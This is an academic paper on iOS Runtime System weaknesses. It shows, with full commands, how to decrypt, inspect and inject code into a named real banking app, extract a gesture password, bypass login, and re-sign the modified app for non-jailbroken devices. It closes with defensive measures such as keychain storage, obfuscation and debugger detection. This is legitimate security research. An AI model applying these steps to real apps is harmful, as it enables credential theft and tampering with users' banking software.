周 泊 寧
(上海大學計算機工程與科學學院 上海 200444)
iOS系統是蘋果公司為其移動設備開發的一套基于UNIX的系統。隨著蘋果設備在世界范圍內的風靡,研究人員對iOS系統的關注度越來越高。特別是美國政府確立蘋果設備的越獄行為是合法后,對iOS系統的漏洞追尋,安全機制的攻克越發積極,這對于iOS系統的安全也提出了前所未有的挑戰。
對于越獄,即破解iOS系統的可信引導機制,獲取root操作權限,已經有諸多的研究成果,如凌寧等[1]對iOS系統的安全機制、加密系統和保護分級機制的研究,分析iOS設備在越獄狀態下存在的漏洞,并通過實驗破解iOS設備獲取PIN碼以及各級密鑰,對比分析越獄設備存在的安全性隱患;吳寅鶴[2]在其研究中指出iOS的安全機制包括信任啟動、代碼簽名、沙盒技術、數據保護等的關鍵點及薄弱環節;陸鵬等[3]通過對iOS內核的研究,介紹了iOS的代碼簽名機制的實現原理與運行機制。也有許多學者對iOS系統的數據安全進了研究,如李柏嵐[4]在研究中對備份數據進行了分析,指出了其中的安全隱患;蘇芊[5]研究了從iOS設備閃存芯片上原始數據的提取與鑒定工作。誠然,這些研究對改進iOS系統的安全性有巨大的推進作用,但很少人關注到iOS系統的Runtime System (運行時系統)并對其進行深入的研究。Runtime System作為iOS應用程序底層核心實現系統,尚若存在有被可利用的漏洞,定然會對在iOS設備上運行的程序造成極大的危害。因此本文旨在對Runtime System進行深入探究,發掘其中可能存在的漏洞,并提出防護手段。
iOS應用程序是用object-c語言開發的,object-c其實是對c語言的一層高級封裝,使得c語言可以面向對象,但它的底層實現,依然是c。其次,Objective-C是一門動態加載語言,它會將一些工作放在代碼運行時才處理而并非編譯時。也就是說,有很多類和成員變量在程序編譯的時候是不知道的,只有在運行時,這些類和成員變量才會轉換成完整的確定的代碼加載到內存中并建立聯系。
因此,光有編譯器是不夠的,還需要一個Runtime system來處理編譯后的代碼。Runtime system是一套底層的C語言API,其為iOS內部的核心之一,程序中編寫的object-c代碼,在程序運行時,最終都被自動轉譯成了Runtime的c語言代碼。例1是一個給label對象的text屬性賦值的例子。
例1:Object-c:[label setText:@”123”];
Runtime: objc_msgSend(“label”,”setText”,”123”);
當然,Runtime System的功能不僅僅是翻譯代碼這么簡單。首先,資源庫的靈活加載,可以在需要的時候加載進內存,不需要的時候釋放掉,不必一直占用內存資源,這對于硬件資源本來就非常拮據的移動設備來說顯得尤為珍貴。其次,可以進行熱更新,即在程序運行時更新。還有,當程序中存在未實現的方法時,并不會導致程序因報錯而無法運行,僅在該方法未實現卻被調用時才會導致崩潰。由此可見,Runtime System給程序帶來的諸多優勢是不言而喻的。
表1列舉了部分常用的Runtime System庫API,通過這些API的簡單調用,我們可以實現一些強大的功能,例如:
(1) 在程序運行時,可以動態地創建一個類。
(2) 在程序運行時,可以動態地為某個類添加、修改屬性或方法。

表1 runtime library部分常用API列表
然而,Runtime System在提供了強大及便捷的功能同時,也隱含了巨大的安全隱患。試想,能夠在程序運行時,便捷地添加修改程序指令,更改指令參數,這對于攻擊者來說是多么大的誘惑。一旦攻擊者獲取到程序在內存中的運行時信息,Runtime System就變成了攻擊者手中的一把利劍,不論攻擊者要程序“執行開鎖命令”,又或是“改變那個參數值”。Runtime System并不會去考慮這個指令的調用是否合法,又或是來自程序內部還是外部,只會“傻傻地”去執行。最終負責任地完成攻擊者交代給它所有任務。
可見,在iOS系統多重保護機制下運行的程序,依然沒有我們想象中的那么安全。尚有很多安全隱患有待我們去解決。
ASLR(Address space layout randomization)是一種針對緩沖區溢出的安全保護技術,通過對堆、棧、共享庫映射等線性區布局的隨機化,增加攻擊者預測目的地址的難度,防止攻擊者直接定位攻擊代碼位置,達到阻止溢出攻擊的目的。同時,這種內存地址隨機化布局的特性也加大了攻擊者獲取目標函數內存地址的難度。
但是,這種難度對于運行時攻擊者來說太小了,因為ASLR存在兩個方面的局限性:其一程序的基址只在啟動時隨機分配,也就是說攻擊者開始部署攻擊是在系統和程序穩定運行的過程中,如果這時攻擊者找到攻擊目標函數的地址話,那么 ASLR 根本起不到作用。其二即便在重啟之后,ASLR 重新分配了地址,但是隨機化的僅僅是程序基址,程序內部相對地址并不會改變,一旦程序開始運行,所有加載的模塊地址都成為固定的,那么利用一些成熟的反編譯工具可輕松檢測出模塊基址的偏移位置,之后便可輕松地展開攻擊。
在后面的篇幅中,我將舉例證實一名攻擊者是如何破解ASLR并進行運行時攻擊的,以及展示如何有效地保護程序免受攻擊。
運行時攻擊相比其他黑客攻擊手段,具有更大的危險性與破壞力。它可以避開iOS系統所做的多重安全機制,直接對目標對象進行操作。下面我們將在iOS9.3.3(越獄)系統環境下以一款金融行業App(3.0.0.6)為例,利用運行時漏洞,嘗試獲取其中的敏感數據及程序控制。
在實施攻擊之前,我們還需解決兩個問題,首先就是2節中提到的ASLR技術,如何獲取程序的隨機地址?幸運的是,如果我們仔細研究程序文件,會發現程序的基址、偏移地址都被記錄下來了。在iOS中,可執行文件、動態鏈接庫、擴展文件、核心存儲文件等都使用了一種名為Mach-O的文件格式。它由三部分組成:頭部、加載指令、數據段。其中頭部給出了文件的目標體系結構,如armv7(iphone4、4s采用的架構)、arm64(iphone5s及之后采用的架構)。還給出了一些標志位與解析文件剩余字段所需的信息。加載指令描述了文件的結構,以及文件在加載時在虛擬內存中的布局,還有一些其他信息。數據段則包含了實際代碼以及其他資源數據。因此我們使用otool工具就可以很方便地從Mach-O文件的頭部與加載指令中獲取地址信息。
其次,所有從蘋果商店下載的應用都會被加密,這是一種類似于iTunes Music所使用的FairPlay DRM機制,旨在版權保護。若是想要明確地尋找到應用程序中的敏感數據,那就必須先對應用解密??上驳氖?,當應用程序被加載到iOS設備的內存以后,它也必須先被解密,然后才能運行。因此我們可以使用一個調試器工具(如gdb)將程序解密后的代碼從內存中轉儲為一個文件,最后再將未加密的代碼覆蓋掉原程序中的加密塊,這樣就可以獲取到我們所需的未加密程序了。
我們在桌面創建一個文件夾Test,將從appstore下載的ipa包解壓到該目錄,用file命令查看這個應用程序的體系架構:
$cd /User/zhouboning/Desktop/Test/Payload/ICBCiPhoneBank.app
$fileICBCiPhoneBank
ICBCiPhoneBank:Mach-O universal binary with 2 architectures
ICBCiPhoneBank (for architecture armv7): Mach-O executable arm
ICBCiPhoneBank (for architecture arm64): Mach-O 64-bit executable
在iphone5s推出之前,程序一般都是兼容armv6與armv7兩種架構,但之后兼容的都是armv7與arm64兩種架構了。使用otool命令獲取架構地址信息:
$otool -f ICBCiPhoneBank
Fat headers
fat_magic 0xcafebabe
nfat_arch 2
architecture 0
cputype 12
cpusubtypre 9
capabilities 0x0
offset 16384
size 12261280
align 2^14(16384)
architecture 1
cputype 16777228
cpusubtypre 0
capabilities 0x0
offset 12288000
size 14096944
align 2^14(16384)
上面輸出了兩種架構的節起始地址以及在文件中的偏移值,記下arm64架構偏移值(12 288 000)在后面將用上。接著我們用otool命令獲取加密程序的地址信息:
$otool -arch arm64 -l ICBCiPhoneBank | grep ENCRYPTION-A 4
cmd LC_ENCRYPTION_INFO_64
cmdsize 24
cryptoff 16384
cryptsize 11436032
cryptid 1
這里輸出的其實是一個LC_ENCRYPTION_INFO_64命令結構體,各參數的含義。見表2。

表2 LC_ENCRYPTION_INFO_64命令結構體說明
這里我們需要記錄的數據有cryptoff,cryptsize,cryptid。由此我們可以得出程序在內存中的起始地址0x4000(16 384),由于地址空間加載起來會有一個固定偏移值[6]0x1000,故實際起始地址為0x4000+0x1000=0x5000。結束地址為0x5000+0xae8000(11 436 032)=0xaed000。在設備上運行應用,使用gdb命令導出解密程序:
(gdb) dump memory arm64.bin 0x5000 0xaed000
(gdb) kill
Kill the program being debugged?(y or n) y
(gdb) q
至此我們可以得到一個名為arm64.bin的文件,里面的數據就是我們所需要的程序解密后的代碼。注意,拷貝命令一定要在程序運行時執行,否則無法得到解密的數據。然后我們要用解密的arm64.bin文件替換掉原程序文件中的加密程序塊,加密程序塊的起始地址=架構偏移值(12 288 000)+加密模塊偏移值(16 384)=12 304 384,通過dd復制工具執行替換:
$dd seek=12304384 bs=1 conv=notrunc if=./arm64.bin of=./ICBCiPhoneBank
最后,還需將cryptid修改為0,以標志該文件未被加密。對于cryptid的定位,可以根據LC_ENCRYPTION_INFO_64命令結構體的數據特征來定位,從iphone develop wiki[7]中可以查到LC_ENCRYPTION_INFO_64命令的宏定義是0x2c,命令大小為24字節,即0x18,cryptid位為0x01。由于結構體中每個數據都是32位(見表2),按小端字節序十六進制表示法,LC_ENCRYPTION_INFO_64的數據特征應該為:0x2c00000018000000……01000000,其中省略號處即為表示cryptoff與cryptsize的8字節數據。將此處01000000改為00000000即可。修改成功后,用otool命令即可看到如下信息:
$otool-arch arm64-l ICBCiPhoneBank|grep ENCRYPTION-A4
cmd LC_ENCRYPTION_INFO_64
cmdsize 24
cryptoff 16384
cryptsize 11436032
cryptid 0
至此,我們得到了一個未加密的應用程序,之后便可對其展開一系列分析與攻擊。
為了展開有效的攻擊,我們需要知道這個程序中有哪些類,有什么方法。class_dump_z便是這樣一款命令行工具,它可以檢查存儲在可執行文件中的Object-c運行時信息。輸入如下指令:
$class-dump-z ICBCiPhoneBank-H-o /User/zhouboning/Desktop/headers
其中-H表示導出頭文件,-o表示輸出路徑,我們可以在headers文件夾中查看到ICBCiPhoneBank用到的所有頭文件,見圖1??偣灿? 400多個,這里我們僅列出幾個將要用到的,首先是AppDelegate.h,見圖2。AppDelegate是iOS程序啟動時調用的第一個代理類,在這里可以找到許多有價值的信息。例如圖2中所示,我們發現了一個changeToLoginVC:(Bool)loginVC方法,從方法名直譯不難猜測,這是一個加載登錄界面的操作,而參數為布爾類型,更容易聯想true即為加載登錄界面;false即為推出登錄界面。

圖1 部分頭文件列表

圖2 AppDelegate.h內容
于是我們可以借助一款Cycript的工具進行掛載操作,Cycript是一款成熟的運行時操作工具,可從其官網www.cycript.org下載。安裝成功后,我們先獲取程序的進程號,然后將Cycript掛載上它:
$ps aux | grepICBCiPhoneBank
mobile 13 0.9 2.6 368500 13696 ? Ss 09:07PM 4:15.20 /var/mobile/Applications/CE371D48-D390-46E5-903E-65A3F0E07 DAA/ICBC.app/ICBCiPhoneBank
#cycript-p 13
掛載后,我們便可以訪問該軟件所有的運行時類、變量等。例如獲取AppDelegate類對象:
cy# var delegate=[UIApplicationsharedApplication].delegate
接著我們就可以調用changeToLoginVC來驗證我們的猜測:
cy# [delegate changeToLoginVC:NO]
果然登錄頁面如期望一樣消失了。
此外,我們在AppDelegate.h中還發現一個非常吸引人的名字GesturePasswordViewControllerDelegate,從單詞意思上立馬就能聯想到這是一個管理鎖屏手勢密碼的視圖控制器對象,于是我們在headers文件夾中搜索,果然有不少與這個類有關的文件。見圖3。在這里我們重點關注GesturePasswordViewController.h,見圖4。在這個類中我們發現了很多敏感屬性,諸如passwdGestureSetting, passwdGestureLogin。雖然不清楚這些屬性的明確含義和區別,但這并不影響我們獲取手勢密碼,將它們一起打印出來:
cy# UIApp.keyWindow.subviews[0].delegate
cy# vargp=new Instance(0x2c03a0)
cy# gp.passwdGestureSetting
“12369874”
cy# gp.passwdGestureLogin
“12369874”

圖3 搜索結果

圖4 GesturePasswordViewController.h內容
因為我將當前頁面停留在鎖屏頁面,因此使用subviews[0].delegate就可以獲取GesturePasswordViewController對象,new Instance(0x2c03a0)則是給該地址指派了一個變量,擔當對象指針的角色,繼而可以訪問對象的屬性、方法等。
僅僅是獲取屬性值或修改方法參數,并不足以顯示運行時攻擊的危害,更具有破壞力的則是動態惡意代碼注入。下面我們將用一個調用后彈出提示框的方法注入到原程序中替換掉changeToLoginVC:方法,代碼如下:
#include
void attack(){
objc_msgSend(objc_msgSend(objc_msgSend(objc_getClass(″UIAlertView″), sel_registerName(″alloc″)),
sel_registerName(″initWithTitle:message:delegate:cancelButtonTitle:otherButtonTitles:″),
@″提示″,@″你已經被攻擊了″,nil,@″確定″,nil),
sel_registerName(″show″));
}
這段代碼創建了一個UIAlertView并顯示到當前頁面上。接著將代碼打包成動態庫attack.dylib。然后以調試模式運行ICBCiPhoneBank,并在main函數上添加一個斷點:
# gdb -f ICBCiPhoneBank
(gdb) b main
Breakpoint 1 at 0x2eec
(gdb) run
程序會在main函數處中斷,而我們要做的便是獲取到changeToLoginVC:方法的內存地址:
Breakpoint 1, 0x00002eec in main()
(gdb) call (void *)objc_getClass(“AppDelegate”)
$1=(void *)0x30cc
(gdb) call (void *)sel_registerName(“changeToLoginVC:”)
$2=(void *)0x2fba
(gdb) call (void *)class_getMethodImplementation($1,$2)
$3=(void *)0x2e9c
接著將attack.dylib加載到內存中,并獲取其內存地址:
(gdb) call (void *)dlopen(“attack.dylib”,2)
$4=(void *)0x115a50
(gdb) call (int *)dlsym($4,”attack”)
$5=(int *)0x43f88
最后,用class_replaceMethod進行方法替換:
(gdb) call (void *)class_replaceMethod($1,$3,$5,””)
$6=(void *)0x2e9c
(gdb) continue
運行后點擊“在此登錄”可以看見,在本應加載登錄頁面的地方,沒有出現登錄頁面,而是彈出了我們創建的提示框,見圖5。

圖5 動態注入運行結果
至此,我們在iOS9下成功地完成了一系列由淺入深的攻擊操作。然而眾所周知,iOS系統的更新非常迅速與頻繁,以此應對各種越獄工具及披露的安全漏洞。因此本文也針對iOS三個不同版本的越獄與未越獄系統分別進行實驗,以更加深入地分析iOS系統的運行時安全特性。
要使越獄環境下的攻擊代碼在非越獄環境下也產生效用,就需要將攻擊代碼打包的動態庫掛載到應用中,使應用啟動時自動運行攻擊代碼。過程主要分為三步:自注入、掛載、重簽名。
(1) 自注入是指在惡意代碼中添加一段自動搜索函數,并執行函數替換的代碼,以實現上文中我們利用gdb調試器所做的操作,代碼如下:
static void __attribute__((constructor)) initialize(void){
class_replaceMethod(objc_getClass(“AppDelegate”),
sel_registerName(“changeToLoginVC:”),
attack,””)
}
這段代碼中值得注意的便是__attribute__((constructor))關鍵字,該關鍵字所指定的方法會在main()函數之前執行,從而實現自動替換。
(2) 掛載則是指在應用啟動時,自動加載我們的動態庫,這可以通過修改mach-o文件的加載指令來實現,而借用yololib工具亦可自動完成加載指令的修改工作。掛載完成后用otool過濾查詢可見掛載成功的結果,見圖6。

圖6 動態庫掛載與加載指令查詢結果
(3) 重簽名:由于我們修改了mach-o文件,因此需要對應用文件重新簽名,才能讓其通過簽名驗證,運行在未越獄的系統上。得力于越獄技術的迅猛發展,如今成熟的重簽名工具非常多,如iReSign、UtSign等,都能快速簡單地實現簽名。
最后將添加了攻擊代碼的應用程序安裝到設備上即可。各系統環境下實驗結果見表3。

表3 iOS各系統版本實驗結果
本次實驗所用系統均來自威鋒網[9]的iOS固件中心,至本文撰寫期間,尚未有iOS10以上版本的越獄固件。從實驗結果可以看出,雖然在未越獄設備上不能使用Cycript等分析工具,但通過一臺越獄設備對App應用進行分析,然后將完整的攻擊代碼移植到相應的未越獄系統環境下,依然可以完成攻擊。但是這種打包好的攻擊代碼在系統環境發生變化,如系統版本或App版本更新,影響到攻擊代碼的執行時,便會使攻擊失效。
從上文可以看到,對于一些缺乏安全防護的應用程序,就算是入門級的黑客也可以借助成熟工具利用運行時漏洞進行破壞。但同時我們也發現,攻擊者所依賴的工具或是條件越多,說明我們就越容易對程序做一些對應的修改以起到防護作用。例如上面的攻擊都依賴于我們從敏感詞匯中找到的線索,還有調試器程序等的使用。針對這些,可以總結出以下幾點防護措施。
很多時候,為了提高用戶的產品體驗,我們會在程序內存儲一些持久化數據,如session值、用戶名等。建議將這些數據加入iOS的keychain,keychain是iOS提供給開發者存儲敏感數據的機制,加入其中的數據便能夠受到iOS系統的加密保護,由此可以大大增加被竊取的難度。
此外,如一些用戶輸入性質的敏感數據,如密碼、卡號等。單靠加入keychain是無法做到完善保護的,因為很有可能在給變量賦值后,加入keychain前,就被攻擊者以獲取屬性值的手段竊取了。因此建議在給密碼等敏感數據的變量賦值之前,就對數據進行加密。特別是一些全局變量,會在內存中長時間保存,更是需要進行先加密再賦值。而類似一些登錄密碼的信息,就應該在登錄完后及時的安全擦除[8]以避免不必要危險。
針對攻擊者會依賴程序的方法名及屬性名中的敏感詞匯來順藤摸瓜,我們可以采用混淆代碼的辦法,即用一串隨機字符串替換掉具有明確意義的方法名和屬性名,讓攻擊者找不到線索,由此阻礙其攻擊。又或是我們可以創建一個陷阱方法,將它的名字命為password等非常甜蜜的詞匯,但在方法中執行一些數據清除、禁用程序功能等操作,在攻擊者自認為得手的時候,安全地銷毀了我們數據。
但是這兩種辦法尚有一定的局限性,首先iOS的開發工具尚沒有支持全面的代碼混淆,因此程序員只能混淆自定義的對象、方法,卻不能混淆系統庫中聲明的對象、方法。其次,陷阱的辦法也僅能成功一次,上過當的攻擊者就不會再去踩陷阱,倘若攻擊者備份了程序,那陷阱也就失效了。
針對攻擊者在攻擊過程中會多次用到調試器,因此我們可以在main函數中加入調試器檢測代碼,若發現程序正在被調試,則立刻停止執行程序。在main.m中加入如下代碼:
#include
#define DEBUGGER_CHECK {
size_t size=sizeof(structkinfo_proc);
structkinfo_proc info;
intret,name[4];
memset(&info,0,sizeof(structkinfo_proc));
name[0]=CTL_KERN;
name[1]=KERN_PROC;
name[2]=KERN_PROC_PID;
name[3]=getpid();
if (ret=(sysctl(name,4,&info,&size,NULL,0))){
exit(EXIT_FAILURE);
}
if(info.kp_proc.p_flag& 0x00000800){
NSLog(@″檢測到在調試中,,,p_flag:%0x″,info.kp_proc.p_flag);
}
}
然后我們寫一個demo,在main()方法中的第一行調用這個宏命令,然后在iOS模擬器上運行demo,可以在調試輸出窗口看到輸出,如圖7所示。將log語句換成其他銷毀數據或是退出程序的語句,便可有效阻擋攻擊者的腳步。

圖7 調試器檢測輸出結果
本文首先對iOS Runtime System進行了深入分析,闡述了運行時環境下的漏洞。其次采用實例驗證的方法,利用其漏洞對一款應用程序分別采取了由淺及深的攻擊實驗。實驗驗證了本文所闡述的漏洞的確是可以被攻擊者利用的,對應用程序的安全具有極大的危險性。最后針對本文所采用的攻擊方法,分別提出相應的防范措施,以期最大程度的阻擋攻擊者。
然而,矛與盾的較量是不會停止的,隨著iOS系統的被關注層度越來越高,技術人員對其的研究也更加熱誠,逐年披露的iOS系統漏洞也越來越多。當然iOS系統也正在這種被覬覦中不斷完善、不斷進步。
[1] 凌寧,張文,牛少彰.基于iOS系統的安全性研究[J].中國電子商情·通信市場,2013(4):91-95.
[2] 吳寅鶴.ios平臺應用程序的安全性研究[D].廣東工業大學,2014.
[3] 路鵬,方勇,方昉,等.iOS系統代碼簽名機制研究[J].信息安全與通信保密,2013(5):85-86.
[4] 李柏嵐.ios平臺的軟件安全性分析[D].上海交通大學,2011.
[5] 蘇芊.ios終端數字取證研究[D].上海交通大學,2013.
[6] Zdziarski J.Hacking and Securing iOSApplications[M].O’Reilly Media,2012:166-167.
[7] iphone develop wiki[OL].2014-07-09.http://iphonedevwiki.net/index.php/Crack_prevention.
[8] 劉鵬飛.ios程序的攻擊手段分析及防護[D].電子科技大學,2014.
[9] 威鋒網[OL].2017-03-04.http://act.feng.com/wetools/index.php?r=iosRom/index.